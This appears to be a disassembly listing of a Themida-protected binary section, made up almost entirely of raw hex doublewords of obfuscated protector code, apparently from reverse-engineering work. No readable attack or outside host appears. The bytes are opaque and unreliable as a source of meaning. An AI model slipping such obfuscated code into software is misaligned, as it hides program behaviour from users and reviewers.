7B91CBEBh, 0FF5F52D4h dd 10061595h, 0FEE906h, 0BD8B0000h, 6103179h, 9D8900B0h dd 61013A5h, 0B70F70E6h, 6671E4FEh, 861E381h, 830F613Ch dd 0DCh, 0FC8B60Fh, 128Ch, 6E800h, 87DF0000h, 6610CED7h dd 20D9BD8Bh, 0BA5B0610h, 6, 45BD8Bh, 0C18B0610h, 8166DD8Ah dd 0C1C33FF7h, 5E804E8h, 63000000h, 0A767039Ch, 0E2F7665Fh dd 23B99D8Bh, 8A0F0610h, 3, 2BF9B70Fh, 8BDF8BC8h, 101E9DBDh dd 8BD18B06h, 1006BDBDh, 76E906h, 8FBF0000h, 8B25C635h dd 885h, 83D98B00h, 0DA8B07C0h, 0BB00C083h, 5DBE1EB8h dd 830FD03Bh, 1Dh, 18B5BD89h, 0DE90610h, 44000000h, 22DA0CF4h dd 0FA284137h, 0CBFDD15Ah, 37E9h, 0FF8D8B00h, 8AFFFFFFh dd 1E183D9h, 26840Fh, 89570000h, 100799B5h, 0A5835B06h dd 0FFFFFFFFh, 0DD8589FEh, 89061026h, 895h, 0D9BD8B00h dd 0E9061007h, 0 dd 4078B58Dh, 0FC500614h, 0BB006A5Fh, 43426278h, 31C995FFh dd 6A0610h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 7A9742C3h, 5DB90CD0h, 8900000Fh, 103279BDh dd 0FCE18306h, 1C8E0Fh, 0F600000h, 88h, 0EE800h, 1F6E0000h dd 648579F4h, 0FBC57757h, 6E9C20AEh, 6AFC6159h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 87F2C353h, 0C02BF530h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 74C35646h, 9109D443h, 0BAFB8B66h, 0 dd 0A959D8Bh, 33AD0610h, 3E8D1C2h, 4E983D0h, 0DC8AF475h dd 0B1953153h, 5B061023h, 880Dh, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 8B66A74Eh dd 0F5958BDAh, 0F061009h, 158Eh, 0BE86000h, 9000000h, 0D8A7C6B3h dd 523D5B14h, 8B5E247Eh, 858961D1h, 6102189h, 23198D8Bh dd 6A0610h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0F2415C3h, 81E38166h, 0C28B50C5h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 9107C353h dd 5AB9ABFFh, 45AE06DEh, 10958D29h, 6A0610h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 21C15C3h dd 30F3D66h, 1E29BD83h, 0F000610h, 9984h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0BA858FB8h, 24283B3Dh, 0B8F0h, 9D890000h, 6101645h dd 4E858D8Dh, 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 0B3CBFDC3h, 0B88D8008h, 3833B8Eh dd 102939BDh, 0EE906h, 3F960000h, 0A02F7090h, 9AFDC6D9h dd 1F465872h, 6AE1FFh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 0BA410C3h, 1CD28DA2h, 0BD834931h dd 61022C1h, 14840F00h, 6A000004h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 5FA6C350h dd 909B531h, 0BD830610h, 61022C1h, 0FF840F01h, 81000003h dd 0CB792AE3h, 0C1BD8312h, 3061022h, 3B6860Fh, 9D330000h dd 6100901h, 0B19D8B60h, 66061032h, 0BD8BD98Ch, 6100E15h dd 0E904E180h, 10h, 0E66D82D7h, 0F2256A44h, 6F05EDB8h dd 0DA490484h, 840FC90Ah, 105h, 8BDE8B66h, 10218585h, 6E906h dd 0A6840000h, 406420A6h, 11FD8533h, 6A0610h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 9D7628C3h dd 0BB50F5A4h, 42CE2ED2h, 6A240489h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 4967C353h dd 52F3A68Bh, 6810Fh, 0B5090000h, 6100CA9h, 11E9h, 0FE9AB100h dd 26F83472h, 39B8B6Ch, 5A44D694h, 6A35FBh, 0BEC38166h dd 899589D1h, 0E8061015h, 4, 1F03FFh, 0BF665250h, 310F918Bh dd 8E0Fh, 585A0000h, 0D88B6650h, 424448Bh, 28F0Fh, 0FA8B0000h dd 8B52008Bh, 44895FFEh, 52500424h, 0BF66310Fh, 585A0A6Ch dd 0CE958h, 30CE0000h, 0A14A4DB2h, 0B37DD362h, 95FFB3FAh dd 61005D5h, 1401BD23h, 85890610h, 613C26Dh, 15E5BD8Bh dd 0BE90610h, 89000002h, 101C81B5h, 65858B06h, 6A0613C2h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0A320C357h, 0B589DFC5h, 6102DADh, 1800C7h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 525936C3h, 0EF095A82h, 0A7DB8166h, 69B58BA6h dd 8B0613C2h, 8E9F9h, 0FD830000h, 94A953B5h, 858B5CF4h dd 6100E25h, 11E9h, 0A53FD100h, 4B10A967h, 0F8E15977h dd 0F324B9CDh, 689A768h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 4FC35141h, 0ADBD8B47h, 0F06102Dh, 68Dh dd 95B50100h, 8B061027h, 10218585h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0B89B42EAh dd 0C96B469Ch, 6E920h, 0EB810000h, 0CCF69BB0h, 0F0A8BF66h dd 6A044689h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 51EDC356h, 0D60104FCh, 9D23F5AFh dd 61018E1h, 0CE896h, 0F0D30000h, 0BFD70EDAh, 85AE46B9h dd 8D0F1693h, 2, 505F5F50h, 8BDF8B60h, 299661F0h, 1032D185h dd 65B5FF06h, 6A0613C2h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 6C6AC355h, 1699BD89h dd 0D1680610h, 502BD092h, 810F5052h, 0 dd 0F310F5Fh, 487h, 9BB6600h, 81585A5Dh, 912E2434h, 81662BCFh dd 8D3720F3h, 13C26D85h, 0C1BD0B06h, 90061027h, 66F18A60h dd 61018FBBh, 90FA8A50h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 88C35242h, 0A0E556C4h, 0B589D37Fh, 6102A35h dd 5D595FFh, 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 0EA7D08C3h, 18F99531h, 6A610610h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0F7D7C351h, 270B4792h, 0C7AAB656h, 1022C185h dd 306h, 41952900h, 8306102Fh, 13C26DBDh, 840F0006h, 34h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 29C35545h dd 0F9522934h, 9D89525Bh, 6102EC1h, 21E95Bh, 9D290000h dd 61008BDh, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h dd 6AC08B00h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 1C51C352h, 0B639CE7Eh, 29FB8B66h dd 100C0985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 4677C2A0h, 0F88B74Ch, 0BD83F9B7h dd 61022C1h, 0B850F03h, 2B000004h, 102AC5BDh, 6DBD8306h dd 613C2h, 3F8840Fh, 820F0000h, 0Dh, 5E8h, 8E095B00h, 5B523A3Ah dd 6DB5FF5Fh, 6A0613C2h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 0DD75C356h, 0EBBB661Ah dd 0A595FF51h, 6A06102Fh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 2168C351h, 4ACF8166h dd 61B58BA2h, 330613C2h, 1012B1BDh, 106C706h, 6A000100h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 0FD04C355h, 81634140h, 0C3B76BDBh, 14E89639h dd 84000000h, 6CAF55B4h, 0A688B062h, 0AA97B262h, 97F561AEh dd 6660A4C7h, 505FFB8Bh, 2830F60h, 60000000h, 0BBBF6661h dd 8B9661BFh, 10139DBDh, 6DB5FF06h, 8B0613C2h, 1015C1BDh dd 0BD8B5106h, 6101489h, 2595FF5Bh, 6A061012h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 8FF5C353h, 31958952h, 5F061031h, 0C987BF66h, 0C261B58Bh dd 6A0613h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 0D40C8EC3h, 8954D4A0h, 10059DBDh, 0D1858B06h dd 6A061021h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 0D49C350h, 23619D03h, 86890610h dd 0C4h, 9F5958Bh, 860F0610h, 6, 4919D03h, 0C2830610h dd 89D88B04h, 6A2050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 85D5D3C3h, 1FE19D01h, 858D0610h dd 613D7C2h, 8689DE8Bh, 0B8h, 6199529h, 6A0610h, 1301BD8Bh dd 0B5FF0610h, 613C26Dh, 0FFDA8B66h, 10049595h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0D2035939h, 0D5F975E2h, 8D29FA23h, 61032C5h, 6E8h, 0E59BD500h dd 89267693h, 100F1DBDh, 60965B06h, 0AE8h, 54503B00h, 0D8BE598Ah dd 0FE6E775h, 80h, 880F5B00h, 0Bh, 5E8h, 2581C300h, 61584F07h dd 9E850h, 56290000h, 0F5A63570h, 5B338FB6h, 51006A96h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 8E85Ah, 67B10000h, 0ADFF8335h, 8960829Ah, 100E5585h dd 69BD0106h, 61061004h, 0FF40B75Fh, 13C26DB5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 560B58EDh, 162D95FFh, 6A0610h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 20BCFEC3h, 0CD705EDAh dd 1351BD83h, 0F000610h, 7C84h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 1F6A8644h dd 6890F10h, 3000000h, 1004F5BDh, 99B52906h, 96061031h dd 68E0F60h, 50000000h, 5A310F52h, 68D0F58h, 0F000000h dd 82h, 0B7506100h, 6A96A2h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 81A6B9C3h, 42C0C632h dd 8B0C3189h, 1029D9BDh, 6DB5FF06h, 6A0613C2h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 8991C356h, 77A38A66h, 95FFBB21h, 6100C19h, 8E956h, 5100000h dd 0E8BE6954h, 0FF5B8E9Bh, 13C26DB5h, 33565106h, 1009B19Dh dd 0FF5F5F06h, 10162195h, 0A1B52906h, 8306102Fh, 100F89BDh dd 840F0206h, 22h, 8BFFBF0Fh, 1010C585h, 0E8D0F06h, 0E9000000h dd 9, 2AF3FE7Dh, 0C0B9A123h, 0C6FFh, 85C790B3h, 6102A25h dd 0 dd 21E9B589h, 90E90610h, 6AFFFFF3h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 712C350h dd 8BAF2222h, 1015899Dh, 6AC18B06h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0E898C352h dd 90EF3AA5h, 0E384ACC0h, 28590BBFh, 0B9858D77h, 57061013h dd 1ED18D89h, 905B0610h, 0E1A9BF66h, 0DF8B6650h, 55006A90h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 5665C78Eh, 6AC42E64h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 0B29D4C14h, 9D297B38h dd 61001C1h, 0A099D8Bh, 6A0610h, 1A699509h, 858D0610h dd 614D69Ah, 8D01FB8Bh, 6102285h, 0F05C083h, 38Ah, 97C38000h dd 89DE8B50h, 85092404h, 61004CDh, 880F006Ah, 6, 1385BD8Bh dd 6A0610h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 56C35242h, 0A28EE117h, 95FFB072h, 6101D19h, 0E8E38166h dd 0D88D8D41h, 6A0613AFh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 0AD8AC355h, 0D9B563B7h dd 0E81CBB81h, 0D1FF2CF8h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 42C35141h, 83F7D776h, 102209BDh, 850F0106h dd 0E9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 6CC35040h, 8BC2ACD6h, 11830FA1h, 0F000000h, 0B84h dd 6E900h, 6CF20000h, 0ED8028B7h, 2329BD89h, 26A0610h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 2DC35040h dd 6E854B6Eh, 80BA3DB3h, 9D8B1ACFh, 6102E8Dh, 0DA8B6690h dd 0DE850h, 36860000h, 117C2D4Bh, 0C7E00554h, 8B0F6997h dd 6A905BF9h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 150C357h, 18820F6Ah, 0E9000000h dd 13h, 7AAE3508h, 681188B1h, 1411BC05h, 3EB3E122h, 0F808BA3h dd 95FFFBB7h, 6100495h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 64C35343h, 0E9DE9F9h db 2 dup(0) word_598B0A dw 0E8h ; DATA XREF: Themida_:0054B938o dd 5D000000h, 0D6A4ED81h, 0BB660614h, 0BD89DD6Bh, 6102A89h dd 1199BD8Bh, 858D0610h, 61399B6h, 0EF8166F8h, 50903FB1h dd 63BBBB52h, 310F0011h, 0BE85250h, 37000000h, 0B63C75h dd 29D9CD18h, 0F5B52D1h, 0F525031h, 5A585A31h, 50585A58h dd 0FEB70F90h, 35FF64h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0F96C351h dd 686h, 35BD8900h, 6406101Bh, 2589h, 0BD8B0000h, 61018C1h dd 6830Fh, 9D2B0000h, 61018F1h, 141985FFh, 6A0610h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 21F040C3h, 6AFB8B66h, 0FAC4BBFFh, 0B5FF7CCAh, 6102ED5h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0B9C35141h dd 14B63847h, 0E3717E69h, 2A6D8D89h, 95FF0610h, 6100615h dd 14EE9h, 0B0DE8B00h, 27BB6600h, 0F70E65Fh, 0E85h, 8D8B6000h dd 6100BDDh, 2A11BD89h, 0E4610610h, 0FE971h, 0E5A40000h dd 7B05F1C6h, 67360A38h, 6CF761A0h, 0F613C8Ah, 11283h dd 10E900h, 0D100000h, 3CDD0F97h, 904D70DEh, 7D4D371Eh dd 0B60FC15Dh, 0F99589C8h, 0BA061012h, 6, 6E9h, 35E21200h dd 8B195690h, 0AA8EBBC1h, 0E8C15BABh, 0F7816604h, 0DE9E059h dd 12000000h, 29E37D03h, 7A45DE4Bh, 688F6566h, 0FE2F766h dd 680h, 658D8900h, 2B06100Ah, 0D18BFCC8h, 0AAE9h, 0C6EB8100h dd 0BB3279B2h, 6DC4050Fh, 1858Bh, 0E8600000h, 6, 2E923C71h dd 9D89902Ah, 61018F9h, 8361FC5Bh, 858907C0h, 610137Dh dd 100C083h, 100D6585h, 2D8D8906h, 3B061014h, 2F830FD0h dd 0F000000h, 68Bh, 0DEDB8100h, 0E8163167h, 0Ah, 88BF6076h dd 0CD90123Fh, 8B515A61h, 102DD59Dh, 0E95F5F06h, 3Bh, 1FC1B589h dd 8D8B0610h, 0FFFFFFFFh, 83FA8B66h, 840F01E1h, 23h, 0C1CB8166h dd 0FFA5833Eh, 0FEFFFFFFh, 6870Fh, 9D8B0000h, 6100975h dd 19589h, 0E90000h, 8D000000h, 144FD5B5h, 0E9BD8B06h dd 29061007h, 101449BDh, 89006A06h, 101915B5h, 0C995FF06h dd 6A061031h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 942CC353h, 0A098D09h, 9D8B0610h dd 61004CDh, 21CDBD8Bh, 2EB90610h, 6600000Fh, 0EB55CF81h dd 60FCE183h, 2ED18501h, 0D38A0610h, 6AFC61h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0DB904C3h dd 58949DA6h, 0C02BF9C8h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 0F2C35040h, 0C49AB79Eh, 18C5858h, 1005619Dh dd 0F5506006h, 65DB815Eh, 616BB4F8h, 0BAh, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 11784779h, 0E59529B8h, 0AD06100Dh, 0E8D1C233h, 0E983D003h dd 6AF47504h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 8F91C351h, 279D8D29h, 880D0610h dd 0E9000000h, 7, 0B0E4AEB7h, 8B15CC3Ah, 1009F595h, 89858906h dd 8B061015h, 1023198Dh, 0D9B70F06h, 28298D89h, 8B500610h dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0C6C35141h, 6AB112h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 0E2BBD0C3h, 0F11B9F04h, 80F63540h, 0BD8391D7h, 6101E29h dd 0C8840F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 3ECDC356h, 0C521D995h dd 56601DE5h, 41BD8B5Eh, 61061012h, 0B8h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 80124FBEh, 0FCC5CB7h, 0C8Bh, 6810F00h, 89000000h, 1023618Dh dd 858D8D06h, 6A06104Eh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 0E179C357h, 660C2698h dd 0E95547BFh, 0Bh, 8DD4974Ch, 74D38B44h, 0FF9B51F2h, 56006AE1h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 6C661343h, 857680CBh, 83F914EBh, 1022C1BDh, 840F0006h dd 4B3h, 1C91B589h, 0BD830610h, 61022C1h, 0BB840F01h, 0F000004h dd 781h, 87BB5300h, 5F5039EBh, 22C1BD83h, 0F030610h, 46B86h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 8478E4B6h, 0E897A5AFh, 13h, 7FD12C9Ch, 5FD93DAh dd 0FE51BFFFh, 0C0E6E17Fh, 0E95DA4A2h, 10h, 4082700Dh dd 70E691DCh, 0BCC08025h, 0AE10C602h, 6A605Fh, 3E850h dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 4FC60BC3h, 0BD09F6AAh, 61006BDh, 0DA99D29h, 8C660610h dd 50006AD9h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 99D892AEh, 14E9h, 141B5400h, 0B4F1273Ch dd 0A2ACB600h, 1828FF18h, 87250165h, 4E1803Dh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0E1C35242h, 0A78D0948h dd 4586C9E9h, 0FC90A92h, 17884h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0AB336A42h dd 85898EADh, 6101A89h, 2185858Bh, 6A0610h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0F1E435C3h dd 0A0EA385Bh, 0F7818E0Ah, 3548FA23h, 14E9h, 55759600h dd 0CF825986h, 0B9B5C3E4h, 0AEF67D7Ch, 311246B5h, 0FD8533E7h dd 6A061011h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 0A028C356h, 895037D8h, 6A2404h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 0CE0DD1C3h, 9D2B49CEh, 6100771h, 0BB66006Ah, 0B66879CDh dd 669E5219h, 481FE8Bh, 0CCEA4924h, 51006A61h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 1D86AB9h, 16534C22h dd 95FF0AB7h, 61005D5h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 4AC35242h, 0F855F1Dh, 88Fh, 0DD806000h dd 0D3BF0F52h, 65B58961h, 89061005h, 13C26D85h, 0DAB70F06h dd 20CE9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 0A7B781A5h, 6AFCF73h, 10E9h, 2FE75400h dd 9C552BB1h, 78059C8Dh, 0CC93BB7Fh, 65858B9Ch, 6A0613C2h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 0C18EC350h, 7D7D2D72h, 0FE8B668Dh, 1800C7h dd 0B5890000h, 6100639h, 0C269B58Bh, 6A0613h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0F3864FC3h dd 9B2C3EB2h, 85891EF2h, 610171Dh, 0E25858Bh, 6A0610h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 720762C3h, 5CA36923h, 3108F538h, 102EA1B5h, 0F068906h dd 38Bh dd 0DFBF0F00h, 2185858Bh, 81660610h, 89532CE7h, 0BD8B0446h dd 6101F8Dh, 52505096h, 0AE9h, 19471000h, 3D3AE378h, 0FAD59BBh dd 6E931h, 53E90000h, 4069EE1Dh, 8B96585Ah, 101EA59Dh dd 65B5FF06h, 6A0613C2h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 9836C350h, 3F778165h dd 3C24A44Bh, 481BD8Bh, 0C7680610h, 0E9551AEBh, 0Dh, 3BACE58Ah dd 2B9FD419h, 0CA5251CBh, 2434810Eh, 5505E838h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 3CC35040h, 5858930h dd 8D061028h, 13C26D85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 0B0BA8614h, 87506430h dd 0E9D98B66h, 10h, 9DC5808h, 68BA8E89h, 26DEFAE4h, 2E9D50BAh dd 0AFB3BB50h, 489271Eh, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 0D565C01h, 0F30B638Dh dd 899D29A1h, 29061014h, 10112D95h, 0D595FF06h, 8B061005h dd 840F61FBh, 0 dd 22C185C7h, 30610h, 89530000h, 101095BDh, 0BD835F06h dd 613C26Dh, 11840F00h, 8B000000h, 100C119Dh, 21E906h dd 8D890000h, 610063Dh, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 6AC08B00h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 3ED0C353h, 44BC02A2h dd 0E9A78BD8h, 6, 81FA897Dh, 0BD83613Eh, 61022C1h, 6A850F03h dd 6A000004h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 76CEC351h, 51CB8151h, 5F45E8C9h dd 616664BFh, 6DBD8355h, 613C2h, 433840Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0CC00EAC3h, 15A99D8Bh, 0B5FF0610h, 613C26Dh, 32B31FBBh dd 0B315BF7Bh, 95FF720Fh, 6102FA5h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 0A0C35646h, 0E98665F7h, 1F0F09BAh dd 0C985896Fh, 8906101Dh, 1001D9BDh, 61B58B06h, 0F90613C2h dd 106C7h, 6A0001h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 3D063FC3h, 96F51DEFh, 0CA98BF66h dd 14E850h, 0C06B0000h, 8D6116B1h, 0D3B008Fh, 0C4F1D7A0h dd 0F47D629h, 8B662C0Dh, 0E9965FD8h, 8, 625F44D1h, 28D3BF71h dd 0C26DB5FFh, 95890613h, 6103199h, 122595FFh, 85290610h dd 6100DF1h, 0C261B58Bh, 57BB0613h, 8B698487h, 1021D185h dd 0C5BD2306h, 8906101Ah, 0C486h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 0C463B828h dd 0F9F7E443h, 8D898D67h, 6100621h, 9F5958Bh, 81660610h dd 83BA1BF7h, 0FE904C2h, 7000000h, 67415C5Ah, 19750285h dd 0E5D98BEh, 5089F0D0h, 6AE78120h, 8D28ABA4h, 13D7C285h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 0AA72EC15h, 1A852F3Bh, 459589BBh, 8906100Ch dd 0B886h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 816648F2h, 0FBF47EBh, 6AF8B7h, 6DB5FFF5h dd 890613C2h, 1022A18Dh, 9595FF06h, 6A061004h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 48ECC355h, 3E2379AAh, 0F5BADCBFh, 8BBB5042h, 895DD811h dd 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 513BA4C3h, 12E84BA2h, 40000000h, 0B5F87951h dd 0F40897E0h, 895C6220h, 8F1C905Bh, 5800FB9h, 0BF000000h dd 350ED703h, 6DB5FF5Fh, 6A0613C2h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0DF1FC356h dd 79D5EFE5h, 55C78166h, 359D8B40h, 0FF061019h, 10162D95h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 9E97Fh, 0F4640000h, 58C43ECh, 8B4E88E8h dd 102FD5BDh, 51BD8306h, 61013h, 5D840Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 46EA2EC3h, 0B589F960h, 6102825h, 7E85061h, 36000000h dd 0B4A1645Fh, 0FC8AC370h, 2434895Fh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 0F5C35040h, 359D8B37h, 0FF061009h dd 13C26DB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 21BD8BA5h, 0FF06100Ah, 100C1995h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 73E03115h, 6890Fh, 0BD8B0000h, 6100E9Dh dd 0FF75DF80h, 13C26DB5h, 0CD850906h, 89061021h, 102D21BDh dd 2195FF06h, 6A061016h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0DEE8C355h, 7F712244h dd 535E4FBAh, 1800Fh, 8BFC0000h, 102A95BDh, 89BD8306h dd 206100Fh, 49840Fh, 7E90000h, 0E9000000h, 6E36434Eh dd 0BD0972DEh, 610241Dh, 10C5858Bh, 0BD330610h, 610131Dh dd 6A0000C6h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 5D84C355h, 0C03512C2h, 6672F01Bh dd 0C78AEEBBh, 102A2585h, 6, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0CAF31EF4h dd 26E344A5h, 0F259E955h, 9E8FFFFh, 0FD000000h, 0C7382E90h dd 0EF1C1FFh, 8B5BB4B7h, 55006AC1h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 8DF98BDBh, 1013B985h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 0D2059E50h, 8B602644h, 100F31B5h, 0F2BF0F06h dd 8B665061h, 240489D8h, 6A006Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 0BD31ABC3h, 6101C0Dh dd 858D006Ah, 614E71Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 70C35747h, 8BF42096h, 100645BDh, 5C08306h dd 0E990D88Bh, 0Eh, 713B040Eh, 42CD23B6h, 7AC04ED4h, 6650B5D3h dd 5690FE8Bh, 